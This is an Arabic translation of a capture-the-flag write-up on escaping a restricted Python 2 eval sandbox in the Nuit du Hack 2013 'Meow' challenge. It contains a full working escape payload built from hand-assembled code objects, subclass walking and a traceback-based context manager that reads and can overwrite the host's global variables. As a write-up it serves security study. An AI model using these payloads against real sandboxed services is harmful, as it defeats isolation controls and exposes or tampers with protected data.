Sandbox Escape مع Python

تحسبا لبدء الدورة التدريبية "Python Developer. مهني " أعد ترجمة ، وإن لم تكن الأحدث ، ولكن من هذه المقالة التي لا تقل إثارة للاهتمام. قراءة سعيدة!






أقيمت جولة التصفيات Nuit du Hack CTF 2013 يوم أمس ، وكالعادة ، سأخبرك في عدد قليل من المشاركات عن المهام المثيرة للاهتمام و / أو الحلول لهذا الفريق. إذا كنت ترغب في معرفة المزيد ، فيجب على زميلي في w4kfu أيضًا النشر على مدونته قريبًا.



TL ؛ DR:



auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())




إحدى المهام ، المسماة "Meow" ، تقدم لنا غلافًا بعيدًا محدودًا باستخدام Python ، حيث يتم تعطيل معظم الوحدات المدمجة:



{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}


تتوفر عدة وظائف ، وهي kitty()إخراج صورة القط في ASCII ، و auth(password). افترضت أننا بحاجة إلى تجاوز المصادقة والعثور على كلمة مرور. لسوء الحظ ، يتم تمرير أوامر Python الخاصة بنا في evalوضع التعبير ، مما يعني أنه لا يمكننا استخدام أي عامل: لا يوجد عامل تعيين ، ولا طباعة ، ولا توجد تعريفات للوظائف / الفئات ، إلخ. أصبح الوضع أكثر تعقيدًا. سيتعين علينا استخدام سحر Python (سيكون هناك الكثير منه في هذا المنشور ، أعدك).



في البداية افترضت أنني authأقارن كلمة المرور بسلسلة ثابتة. في هذه الحالة ، يمكنني استخدام كائن مخصص معدَّل __eq__بطريقة تعود به دائمًاTrue... ومع ذلك ، لا يمكنك فقط إنشاء مثل هذا الكائن وإنشاءه. لا يمكننا تحديد الفئات الخاصة بنا من خلال فئة Foo، حيث لا يمكننا تعديل كائن موجود بالفعل (بدون تعيين). هذا هو المكان الذي يبدأ فيه سحر Python: يمكننا إنشاء كائن كتابة مباشرةً لإنشاء كائن فئة ، ثم إنشاء كائن فئة هذا. إليك كيف يتم ذلك:



type('MyClass', (), {'__eq__': lambda self: True})


ومع ذلك ، لا يمكننا استخدام النوع هنا ، فهو غير محدد في الوحدات النمطية المضمنة. يمكننا استخدام خدعة مختلفة: كل كائن بايثون له خاصية __class__تعطينا نوع الكائن. على سبيل المثال ، ‘’.__class__هذا str. ولكن ما هو أكثر إثارة للاهتمام: str.__class__هو النوع. لذلك يمكننا استخدامها ''.__class__.__class__لإنشاء نوع جديد.



لسوء الحظ ، authلا تقارن الوظيفة فقط كائننا بسلسلة. إنها تقوم بالعديد من العمليات الأخرى باستخدامه: فهو يقسمه إلى 14 حرفًا ، ويأخذ الطول len()ويطلق عليه reduceاسم لامدا غريب. بدون رمز ، من الصعب معرفة كيفية صنع كائن يتصرف بالطريقة التي تريدها الوظيفة ، ولا أحب التخمين. المزيد من السحر مطلوب!



دعونا نضيف كائنات التعليمات البرمجية. في الواقع ، الوظائف في Python هي أيضًا كائنات ، والتي تتكون من كائن رمز والتقاط متغيراتها العامة. يحتوي كائن الكود على رمز بايت لهذه الوظيفة والكائنات الثابتة التي تشير إليها ، وبعض السلاسل والأسماء والبيانات الوصفية الأخرى (عدد الوسائط ، عدد الكائنات المحلية ، حجم المكدس ، تعيين الرمز الثانوي لرقم السطر). يمكنك الحصول على كائن رمز الدالة مع myfunc.func_code. هذا restrictedمحظور في وضع مترجم Python ، لذلك لا يمكننا رؤية رمز الوظيفة auth. ومع ذلك ، يمكننا إنشاء وظائف خاصة بنا تمامًا كما أنشأنا أنواعنا الخاصة!



قد تسأل ، لماذا نستخدم كائنات التعليمات البرمجية لإنشاء وظائف عندما يكون لدينا بالفعل لامدا؟ الأمر بسيط: لا يمكن أن تحتوي لامدا على عوامل تشغيل. ويمكن وظائف بشكل عشوائي! على سبيل المثال ، يمكننا إنشاء دالة تُخرج وسيطتها إلى stdout:



ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
                (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42


ومع ذلك ، هناك مشكلة صغيرة هنا: من أجل الحصول على نوع كائن التعليمات البرمجية ، تحتاج إلى الوصول إلى السمة func_code، وهي محدودة. لحسن الحظ ، يمكننا استخدام المزيد من سحر Python للعثور على نوعنا دون الوصول إلى السمات الممنوعة.



في Python ، يكون للكائن من النوع سمة __bases__تُرجع قائمة بجميع فئاته الأساسية. يحتوي أيضًا على طريقة __subclasses__تُرجع قائمة بجميع الأنواع الموروثة منها. إذا استخدمنا __bases__نوعًا عشوائيًا ، فيمكننا الوصول إلى قمة التسلسل الهرمي لنوع الكائن ، ثم قراءة الفئات الفرعية للكائن للحصول على قائمة بجميع الأنواع المحددة في المترجم الفوري:



>>> len(().__class__.__bases__[0].__subclasses__())
81


يمكننا بعد ذلك استخدام هذه القائمة للعثور على أنواعنا functionو code:



>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'code'][0]
<type 'code'>


الآن بعد أن أصبح بإمكاننا بناء أي وظيفة نريدها ، ماذا يمكننا أن نفعل؟ يمكننا الوصول مباشرة إلى عدد غير محدود من الملفات المضمنة: لا تزال الوظائف التي restrictedننشئها تُنفَّذ في البيئة. يمكننا الحصول على وظيفة غير معزولة: authتستدعي الوظيفة طريقة على __len__الكائن نمررها كمعامل. ومع ذلك ، هذا لا يكفي للهروب من وضع الحماية: لا تزال متغيراتنا العامة كما هي ، ولا يمكننا ، على سبيل المثال ، استيراد وحدة. كنت أحاول إلقاء نظرة على جميع الفئات التي يمكننا الوصول إليها__subclasses__لمعرفة ما إذا كان بإمكاننا الحصول على رابط إلى وحدة مفيدة من خلالها ، دون جدوى. حتى أن استدعاء إحدى الوظائف التي أنشأناها من خلال المفاعل لم يكن كافيًا. يمكننا محاولة الحصول على كائن traceback واستخدامه لعرض إطارات المكدس لوظائف الاستدعاء ، ولكن الطريقة الوحيدة السهلة للحصول على كائن traceback هي من خلال الوحدات النمطية inspectأو sysالتي لا يمكننا استيرادها. بعد أن تعثرت في هذه المشكلة ، تحولت إلى الآخرين ونمت كثيرًا واستيقظت بالحل الصحيح!



في الواقع، ليس هناك وسيلة أخرى للحصول على وجوه traceback في مكتبة القياسية بيثون دون استخدام: context manager. لقد كانت ميزة جديدة في Python 2.6 تسمح لك بالحصول على نوع من تحديد النطاق الموجه للكائنات في Python:



class CtxMan:
    def __enter__(self):
        print 'Enter'
    def __exit__(self, exc_type, exc_val, exc_tb):
        print 'Exit:', exc_type, exc_val, exc_tb

with CtxMan():
    print 'Inside'
    error

# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
        <traceback object at 0x7f1a46ac66c8>


يمكننا إنشاء كائن context managerيستخدم كائن traceback الذي تم تمريره __exit__لعرض المتغيرات العامة لوظيفة الاستدعاء الموجودة خارج آلية تحديد الصلاحيات. لهذا نستخدم مجموعات من كل حيلنا السابقة. نقوم بإنشاء نوع مجهول يحدد __enter__كل من لامدا البسيط و __exit__لامدا الذي يشير إلى ما نريده في التتبع ويمرره إلى لامدا الناتج لدينا (تذكر أننا لا نستطيع استخدام عوامل التشغيل):



''.__class__.__class__('haxx', (),
  {'__enter__': lambda self: None,
   '__exit__': lambda self, *a:
     (lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
                                        (None,), (), ('s',), 'stdin', 'f',
                                        1, ''), {})
     )(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
                    if x.__name__ == n][0])
     (a[2].tb_frame.f_back.f_back.f_globals)})()


نحن بحاجة للحفر أعمق! نحن الآن بحاجة إلى استخدام هذا context manager(والذي ctxسنسميه في مقتطفات التعليمات البرمجية التالية) في وظيفة من شأنها أن تؤدي إلى حدوث خطأ في كتلة with:



def f(self):
    with ctx:
        raise 42


ثم وضعنا fكما __len__لدينا كائن تم إنشاؤه، والذي نعبر إلى وظيفة auth:



auth(''.__class__.__class__('haxx2', (), {
  '__getitem__': lambda *a: '',
  '__len__': f
})())


دعنا نعود إلى بداية المقال ونتذكر الشفرة المضمنة "الحقيقية". عند التشغيل على الخادم ، يؤدي هذا إلى قيام مترجم Python بتشغيل وظيفتنا f، وتصفح الوظيفة التي تم إنشاؤها context manager __exit__، والتي ستصل إلى المتغيرات العامة لطريقة الاتصال الخاصة بنا ، حيث توجد قيمتان مثيرتان للاهتمام:



'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'


علمان ؟! اتضح أنه تم استخدام نفس الخدمة لمهمتين متتاليتين. قتل مزدوج!



للحصول على مزيد من المتعة في الوصول إلى المتغيرات العالمية ، يمكننا القيام بأكثر من مجرد القراءة: يمكننا تغيير العلامات! f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })سيتغير استخدام العلامات حتى إعادة تشغيل الخادم التالي. على ما يبدو ، لم يخطط المنظمون لذلك.



على أي حال ، ما زلت لا أعرف كيف كان من المفترض أن نحل هذه المشكلة بطريقة طبيعية ، لكنني أعتقد أن مثل هذا الحل الشامل هو وسيلة جيدة لتعريف القراء بالسحر الأسود لبايثون. استخدمه بعناية ، فمن السهل إجبار Python على القيام بالتجزئة مع كائنات التعليمات البرمجية التي تم إنشاؤها (باستخدام مترجم Python وتشغيل كود قشرة x86 من خلال الرمز الثانوي الذي تم إنشاؤه ، يتم تركه للقارئ). شكرًا لمنظمي Nuit du Hack على المهمة الجميلة.







اقرأ أكثر






All Articles